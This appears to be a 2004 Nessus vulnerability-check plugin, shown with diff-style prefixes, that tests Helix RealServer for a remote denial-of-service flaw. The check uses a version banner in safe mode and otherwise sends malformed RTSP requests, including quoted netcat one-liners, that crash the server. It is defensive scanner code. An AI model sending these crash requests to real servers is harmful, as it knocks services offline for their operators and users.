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- #
- # Copyright (C) 2004 Tenable Network Security
- #
-
- if(description)
- {
- script_id(12210);
- script_bugtraq_id(10157);
- script_cve_id("CAN-2004-0389");
- script_version ("$Revision: 1.3 $");
-
- name["english"] = "Helix RealServer Remote DoS";
- script_name(english:name["english"]);
-
- desc["english"] = "
- RealServer versions prior to 9.0.3 are vulnerable to
- a trivial remote Denial of Service (DoS) attack.
-
- See also : http://www.idefense.com/application/poi/display?type=vulnerabilities
-
- Solution: Install patches from vendor
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "RealServer and Helix Server remote DoS";
- script_summary(english:summary["english"]);
-
- script_category(ACT_MIXED_ATTACK);
-
- script_copyright(english:"This script is Copyright (C) 2004 Tenable Network Security");
- family["english"] = "Denial of Service";
- script_family(english:family["english"]);
- script_dependencie("find_service2.nasl");
- script_require_ports("Services/rtsp", 554);
- exit(0);
- }
-
-
- # start script
-
- port = get_kb_item("Services/rtsp");
- if(!port)port = 554;
-
- if (safe_checks()) {
- if (get_port_state(port)) {
- soc = open_sock_tcp(port);
- if (soc) {
- data = string("OPTIONS * RTSP/1.0\r\n\r\n");
- send(socket:soc, data:data);
- header = recv(socket:soc, length:1024);
- if(("RTSP/1" >< header) && ("Server:" >< header)) {
- server = egrep(pattern:"Server:",string:header);
- if( (egrep(pattern:"Version [0-8]\.[0-9]", string:server)) ||
- (egrep(pattern:"Version 9\.0\.[0-2]", string:server)) ) {
- security_hole(port);
- }
- }
- close(soc);
- }
- }
- } else {
- # per idefense adivisory
- # $ echo -e "GET_PARAMETER / RTSP/1.0\n\n" | nc -v localhost 554
- # $ echo -e "DESCRIBE / RTSP/1.0\nSession:\n\n" | nc -v localhost 554
- req[0] = string("GET_PARAMETER / RTSP/1.0\n\n");
- req[1] = string("DESCRIBE / RTSP/1.0\nSession:\n\n");
- req[2] = string("GET / RTSP/1.0\n\n");
- for (i=0; req[i]; i++) {
- soc = open_sock_tcp(port);
- if (!soc) {
- if (i > 0) security_hole(port);
- exit(0);
- }
- send(socket:soc, data:req[i]);
- close(soc);
- }
- }
-
-
-
-
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